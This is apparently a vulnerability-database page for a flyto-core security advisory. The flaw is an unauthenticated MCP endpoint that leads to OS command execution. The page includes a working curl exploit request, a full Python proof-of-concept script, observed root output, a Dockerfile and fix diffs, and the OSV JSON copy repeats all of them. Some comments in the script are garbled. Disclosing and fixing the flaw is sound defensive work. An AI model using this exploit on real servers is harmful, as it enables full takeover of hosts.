CVE-2026-55786: Flyto core Flyto-core Has Unauthenticated Command Execution Vulnerability
HIGH
Advisory Identifier:
GHSA-h9f9-h6gm-wc85
Advisory Summary
CVE-2026-55786 is a HIGH (CVSS 8.4) flyto-core has unauthenticated command execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Flyto core libraries in the PyPI ecosystem. The issue involves flyto-core has unauthenticated command execution via http mcp `execute_module`. Remediation is available by upgrading affected packages to version 2.26.4.
CVE-2026-55786 at a Glance
CVE Identifier
CVE-2026-55786
GHSA Identifier
GHSA-h9f9-h6gm-wc85
Severity
HIGH
CVSS v3.1 Base Score
8.4
CWE Classification
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product
Flyto core
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 8.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Attack Vector
Local (AV:L)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2026-55786
To remediate this vulnerability, upgrade all affected Flyto core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
flyto-core
fixed: 2.26.4
pip install flyto-core>=2.26.4
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show flyto-coreHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55786, inspect your installed packages using pip:
pip show flyto-coreAnalyze the terminal output to locate any version of Flyto core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.26.4), your application is affected.
Note: The pip show flyto-core command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Flyto core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Unauthenticated Command Execution via HTTP MCP `execute_module`
### Summary
The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.
### Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation.
2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.
3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation.
4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.
5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.
6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`.
7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`.
8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization.
9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.
The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.
**Vulnerable code excerpts:**
```python
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp_post(request: Request):
```
```python
# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)
```
```python
# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)
```
**Contrast with the protected REST route:**
```python
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])
```
The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
### PoC
**Environment setup (Docker):**
```bash
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001
```
**Exploit (curl) — no Authorization header:**
```bash
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
```
**Exploit (Python PoC script):**
```bash
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command id
```
**Observed response (dynamic reproduction, Phase 2):**
```json
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": "",
"exit_code": 0,
"execution_time_ms": 4.84
}
},
"isError": false
}
}
```
The `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`.
**Network-accessible variant:**
If the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.
**Recommended remediation:**
```diff
--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import JSONResponse, Response
from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter
-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
async def mcp_post(request: Request):
result = await handle_jsonrpc_request(item, browser_sessions)
+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)
-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
async def mcp_delete(request: Request):
```
```diff
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]
```
### Impact
This is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible.
Affected parties include:
- **Developers and local users** running `flyto serve` on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.
- **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls — the attack surface becomes the entire network.
Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile
FROM python:3.12-slim
# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc g++ libxml2-dev libxslt1-dev \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/
# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"
EXPOSE 8333
# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]
```
#### `poc.py`
```python
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module
Target: flyto-core 2.26.2
Route: POST /mcp (no auth dependency — mcp.py:65)
Sink: asyncio.create_subprocess_shell (execute_shell.py:163)
CWE: CWE-306 Missing Authentication for Critical Function
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error
def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
"""servertext readytext until /health text."""
for i in range(max_wait):
try:
with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
if resp.status == 200:
print(f"[+] server is ready ({i}s textand)")
return True
except Exception:
pass
time.sleep(1)
if i % 5 == 4:
print(f"[*] wait in progress... ({i+1}s)")
return False
def send_exploit(base_url: str, command: str) -> dict:
"""without authentication POST /mcptext arbitrary command execute request."""
payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {
"command": command,
"timeout": 10
}
}
}
}
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
f"{base_url}/mcp",
data=data,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
body = resp.read().decode("utf-8")
return json.loads(body)
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8333)
parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
print("=" * 60)
print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
print(f" Target : {base_url}/mcp")
print(f" Command : {args.command}")
print("=" * 60)
print()
# 1. wait for server readiness
print("[*] waiting for server startup in progress...")
if not wait_for_server(base_url):
print("[-] FAIL: servertext whenbetween within not respond not")
sys.exit(1)
# 2. without authentication exploit send request
print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")
try:
result = send_exploit(base_url, args.command)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
print(f"[-] HTTP {e.code}: {body}")
print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
sys.exit(1)
except Exception as e:
print(f"[-] text error: {e}")
sys.exit(1)
# 3. response parse
print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")
# result.result.structuredContent.data.stdout
try:
structured = result["result"]["structuredContent"]
data = structured["data"]
stdout = data.get("stdout", "")
stderr = data.get("stderr", "")
exit_code = data.get("exit_code", -1)
except (KeyError, TypeError) as e:
print(f"[-] FAIL: expected response structure text — {e}")
print(f" result keys: {list(result.get('result', {}).keys())}")
sys.exit(1)
print(f"[*] exit_code = {exit_code}")
print(f"[*] stdout = {stdout!r}")
print(f"[*] stderr = {stderr!r}")
print()
# 4. success verdict: `id` command resulttext uid= contains whether
if "uid=" in stdout:
print("[+] ============================================================")
print("[+] PASS: without authentication text OS command execution check!")
print(f"[+] command output: {stdout.strip()}")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
sys.exit(1)
if __name__ == "__main__":
main()
```
CVE-2026-55786 Affected Flyto core Versions
1 component(s)
Fixed Versions:
2.26.4
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flyto-core
|
PyPI |
≥ 2.26.2
< 2.26.4
|
2.26.4
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85
NVD — CVE-2026-55786
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-55786
Security Fix Commit
FIX COMMIT
https://github.com/flytohub/flyto-core/commit/db7f116b1d3c5dcf94aded00d14118f81f3e225e
Flyto core Source Repository
REPOSITORY
https://github.com/flytohub/flyto-core
Flyto core Release
RELEASE
https://github.com/flytohub/flyto-core/releases/tag/v2.26.4
Flyto core Source Repository
REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/flyto-core/PYSEC-2026-2482.yaml
Frequently Asked Questions
What is CVE-2026-55786?
CVE-2026-55786 is a security vulnerability in Flyto core involving flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module` under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Flyto core versions are affected?
Affected versions include releases prior to 2.26.4 across affected packages: flyto-core.
What version fixes CVE-2026-55786?
Upgrading to 2.26.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flyto-core affected?
Yes, flyto-core is affected in releases prior to 2.26.4. Upgrade your dependency to 2.26.4 or later.
What is the CVSS score of CVE-2026-55786?
CVE-2026-55786 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55786?
CVE-2026-55786 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-55786?
Run the dependency tree command: 'pip show flyto-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-h9f9-h6gm-wc85",
"modified" : "2026-10-14T18:15:45Z",
"published" : "2026-07-06T17:41:03Z",
"aliases" : [ "CVE-2026-55786" ],
"summary" : "flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`",
"details" : "## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66 — missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n result = await execute_module(\n module_id=arguments.get(\"module_id\", \"\"),\n params=arguments.get(\"params\", {}),\n context=arguments.get(\"context\"),\n browser_sessions=browser_sessions,\n )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink\nparams = context['params']\ncommand = params.get('command', '')\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93 — correctly guarded\n@router.post(\"/execute\", dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t flyto-vuln-001 \\\n reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n -p 127.0.0.1:8333:8333 \\\n --name flyto-vuln-001-test \\\n flyto-vuln-001\n```\n\n**Exploit (curl) — no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\"command\": \"id\", \"timeout\": 5}\n }\n }\n }'\n```\n\n**Exploit (Python PoC script):**\n\n```bash\npython3 vuln-001/poc.py \\\n --host 127.0.0.1 --port 8333 --command id\n```\n\n**Observed response (dynamic reproduction, Phase 2):**\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"result\": {\n \"structuredContent\": {\n \"ok\": true,\n \"data\": {\n \"stdout\": \"uid=0(root) gid=0(root) groups=0(root)\\n\",\n \"stderr\": \"\",\n \"exit_code\": 0,\n \"execution_time_ms\": 4.84\n }\n },\n \"isError\": false\n }\n}\n```\n\nThe `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`.\n\n**Network-accessible variant:**\n\nIf the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/core/api/routes/mcp.py\n+++ b/src/core/api/routes/mcp.py\n-from fastapi import APIRouter, Request\n+from fastapi import APIRouter, Depends, Request\n from fastapi.responses import JSONResponse, Response\n from core.mcp_handler import handle_jsonrpc_request\n+from core.api.security import require_auth, module_filter\n\n-@router.post(\"\")\n+@router.post(\"\", dependencies=[Depends(require_auth)])\n async def mcp_post(request: Request):\n result = await handle_jsonrpc_request(item, browser_sessions)\n+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)\n\n-@router.delete(\"\")\n+@router.delete(\"\", dependencies=[Depends(require_auth)])\n async def mcp_delete(request: Request):\n```\n\n```diff\n--- a/src/core/api/security.py\n+++ b/src/core/api/security.py\n-_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]\n+_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\", \"sandbox.*\"]\n```\n\n### Impact\n\nThis is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible.\n\nAffected parties include:\n\n- **Developers and local users** running `flyto serve` on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.\n- **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls — the attack surface becomes the entire network.\n\nPotential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# lxml buildtext requiredtext whentext text\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n gcc g++ libxml2-dev libxslt1-dev \\\n && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# local repo copy source (build context: mcp_57_flytohub__flyto-core/)\nCOPY repo/ /app/repo/\n\n# flyto-core[api] install (fastapi + uvicorn contains)\nRUN pip install --no-cache-dir \"/app/repo[api]\"\n\nEXPOSE 8333\n\n# container externalfrom accessibletext 0.0.0.0 binding\nCMD [\"python\", \"-c\", \"from core.api.server import main; main(host='0.0.0.0', port=8333)\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module\n\nTarget: flyto-core 2.26.2\nRoute: POST /mcp (no auth dependency — mcp.py:65)\nSink: asyncio.create_subprocess_shell (execute_shell.py:163)\nCWE: CWE-306 Missing Authentication for Critical Function\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]\n\"\"\"\nimport sys\nimport time\nimport json\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\ndef wait_for_server(base_url: str, max_wait: int = 45) -> bool:\n \"\"\"servertext readytext until /health text.\"\"\"\n for i in range(max_wait):\n try:\n with urllib.request.urlopen(f\"{base_url}/health\", timeout=2) as resp:\n if resp.status == 200:\n print(f\"[+] server is ready ({i}s textand)\")\n return True\n except Exception:\n pass\n time.sleep(1)\n if i % 5 == 4:\n print(f\"[*] wait in progress... ({i+1}s)\")\n return False\n\n\ndef send_exploit(base_url: str, command: str) -> dict:\n \"\"\"without authentication POST /mcptext arbitrary command execute request.\"\"\"\n payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\n \"command\": command,\n \"timeout\": 10\n }\n }\n }\n }\n\n data = json.dumps(payload).encode(\"utf-8\")\n req = urllib.request.Request(\n f\"{base_url}/mcp\",\n data=data,\n headers={\"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n\n with urllib.request.urlopen(req, timeout=20) as resp:\n body = resp.read().decode(\"utf-8\")\n\n return json.loads(body)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC — flyto-core unauthenticated RCE via MCP\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8333)\n parser.add_argument(\"--command\", default=\"id\", help=\"OS command to execute (default: id)\")\n args = parser.parse_args()\n\n base_url = f\"http://{args.host}:{args.port}\"\n\n print(\"=\" * 60)\n print(\"VULN-001: Unauthenticated RCE via HTTP MCP execute_module\")\n print(f\" Target : {base_url}/mcp\")\n print(f\" Command : {args.command}\")\n print(\"=\" * 60)\n print()\n\n # 1. wait for server readiness\n print(\"[*] waiting for server startup in progress...\")\n if not wait_for_server(base_url):\n print(\"[-] FAIL: servertext whenbetween within not respond not\")\n sys.exit(1)\n\n # 2. without authentication exploit send request\n print(f\"\\n[*] POST {base_url}/mcp — without an Authorization header send\")\n try:\n result = send_exploit(base_url, args.command)\n except urllib.error.HTTPError as e:\n body = e.read().decode(\"utf-8\", errors=\"replace\")\n print(f\"[-] HTTP {e.code}: {body}\")\n print(\"[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)\")\n sys.exit(1)\n except Exception as e:\n print(f\"[-] text error: {e}\")\n sys.exit(1)\n\n # 3. response parse\n print(f\"\\n[*] Raw JSON response:\\n{json.dumps(result, indent=2, ensure_ascii=False)}\\n\")\n\n # result.result.structuredContent.data.stdout\n try:\n structured = result[\"result\"][\"structuredContent\"]\n data = structured[\"data\"]\n stdout = data.get(\"stdout\", \"\")\n stderr = data.get(\"stderr\", \"\")\n exit_code = data.get(\"exit_code\", -1)\n except (KeyError, TypeError) as e:\n print(f\"[-] FAIL: expected response structure text — {e}\")\n print(f\" result keys: {list(result.get('result', {}).keys())}\")\n sys.exit(1)\n\n print(f\"[*] exit_code = {exit_code}\")\n print(f\"[*] stdout = {stdout!r}\")\n print(f\"[*] stderr = {stderr!r}\")\n print()\n\n # 4. success verdict: `id` command resulttext uid= contains whether\n if \"uid=\" in stdout:\n print(\"[+] ============================================================\")\n print(\"[+] PASS: without authentication text OS command execution check!\")\n print(f\"[+] command output: {stdout.strip()}\")\n print(\"[+] ============================================================\")\n sys.exit(0)\n else:\n print(\"[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "flyto-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.26.2"
}, {
"fixed" : "2.26.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55786"
}, {
"type" : "WEB",
"url" : "https://github.com/flytohub/flyto-core/commit/db7f116b1d3c5dcf94aded00d14118f81f3e225e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/flytohub/flyto-core"
}, {
"type" : "WEB",
"url" : "https://github.com/flytohub/flyto-core/releases/tag/v2.26.4"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/flyto-core/PYSEC-2026-2482.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306", "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-06T17:41:03Z",
"nvd_published_at" : null
}
}